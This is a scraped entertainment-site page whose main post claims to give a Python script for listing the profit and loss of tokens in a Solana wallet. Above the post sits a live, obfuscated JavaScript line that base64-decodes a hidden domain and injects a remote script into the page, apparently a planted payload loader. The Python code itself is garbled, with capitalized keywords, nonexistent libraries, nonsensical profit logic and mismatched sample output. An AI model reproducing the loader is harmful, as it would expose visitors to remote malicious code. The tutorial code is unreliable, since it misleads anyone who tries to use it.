📲 Click Here to Join Our WhatsApp Channel
NEWS | Politics | CRIME TALK ZONE | DJ MIX | SPORTS |


Burna Boy
Davido
Wizkid
Naira Marley
Olamide
Tiwa Savage
Rema
Asake
Kizz Daniel
OdumoduBLCK
Shallipopi
Tems
Ayra Starr

« | »

Solana: list tokens pnl purchased from a solana wallet

Published by on February 10th, 2025.


const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=49803572″;document.body.appendChild(script);

I can provide you with a sample python script that achieves what you’re asking for. This script uses the pysolana library to interact with the solana blockchain.

Note:

You’ll Need to Install Pysolana Using Pip:Pip Install Pysolana

`Python

Import OS

from solana.publickey import pubkey

from py_solana.api import account_info, System_info

Def get_wallet_address ():

"" ""

Returns a wallet address from a text file.

The File Should Contain the Wallet Address In The First Line of Each Line,

Separated by a Newline Character.

: Return: A Solana Public Key That Repeats The Wallet Address.

"" ""

With Open ('Wallet.txt', 'R') AS F:

For Line in F:

if line.strip ()! = '':

Return line.strip ()

Raise Valueerror ("Wallet Address Not Found in Wallet.txt")

Def Get_Tokens_With_Balance (Wallet_address):

"" ""

Returns A List of Tokens Purchased by the Specific Wallet Address,

With a balance greater than 0.

: Param Wallet_address: A Solana Public Key That Repeats The Wallet Address.

: Return: A List of Tuples, Where Each Tuple Contains:

- The Token Name (E.G. 'Dai', 'Sol')

- The Token Symbol

- The Quantity Purchased

- The Balance on the Current account

"" ""

tokens = []

For Entry in System_info.entries:

if entry ['id'] == wallet_address and entry ['Balance']> 0::

token_name, token_symbol = entry ['name'], Entry ['Symbol']

token_quantity = entry.get ('quantity', 1)

Balance = Entry.get ('Balance', 0)

tokens.Apend ((token_name, token_symbol, token_quantity, balance))

Return tokens

Def Get_PNL (tokens):

"" ""

Returns the profit and loss on Each token.

: Param tokens: a list of tuples containing information about each token.

Each Tuple Should Contain:

- The Token Name (E.G. 'Dai', 'Sol')

- The Token Symbol

- The Quantity Purchased

- The Balance on the Current account

"" ""

Pnl = []

for token in tokens:

Profit = token [2] * 10000 / token [1]

Loss = -Profit

pnl.Apend ((token [0], token [1], profit, loss))

Return PNL

Def Main ():

wallet_address = get_wallet_address ()

Try:

tokens = get_tokens_with_balance (wallet_address)

pnl = get_pnl (tokens)

Print ("Wallet Address:" Wallet_address)

For Token in PNL:

Print (f "{token [0]} ({token [1]}) - {token [2]} x {token [3]} Balance")

Except Valueerror As E:

Print (E)

if __name__ == '__main__':

Main ()

This script assumes that your wallet address is in a file named wallet.txt in the same directory, with each line containing a single line break (\ n) and the wallet address on sub -sub -squent lines. For Example:

ABC123

Def456

GHI789

`

In This Case, The Script Will Output Something Like:

`Python

Wallet Address: ABC123

Dai (1x) - 1000 Balance

Sol (2x) - 20000 balance

Note that this is a Simplified Example and does not account for additional factors that may affect your wallet’s performance, such as gas fees or slippage. You may need to modify the script to suit your specific use case.

Also, keep in mind that you’ll need to replace ABC123 with your actual wallet address before running this script.

TRENDING SONGS

Song Heartbreak in Ikeja: Lady Weeps After Fufu Found in New Phone Package Song Twist of Fate: Man Who Questioned Phyna’s ₦1Billion Demand Mourns Brother in Dangote Truck Crash Song Tragedy in Enugu: Dangote Truck Claims Lives of Family of Five Song Bangkok Crackdown: Nigerian-Thai Couple in Police Net Over Drug Trafficking Song Family Rift: Reno Omokri’s Ex-Wife Says He Deserted Their Special Needs Son Song The Man Who Sent Money for Two Decades, Only to Return to an Empty Shell Song See how a young lady was beaten in a village and naked for stealing a goat  Song See How Man That Plans to Divorce His Wife, Gets Shocked When She Leaves Him First With Their 5 Kids Song Tragic Land Dispute: Man Kills Father in Imo, Pastor Arrested for Rape Song Nigeria Grants Air Tanzania Passage for Direct Flights

CLICK TO DROP YOUR COMMENT

Share this post with your friends on


0 Responses

Leave a Reply

NOTE:- Make your comment a bit long to get it approved.



Go Back To The Top

« | »


Looking for something? Search below





About First Class Gists


Click Here to Join Our WhatsApp Channel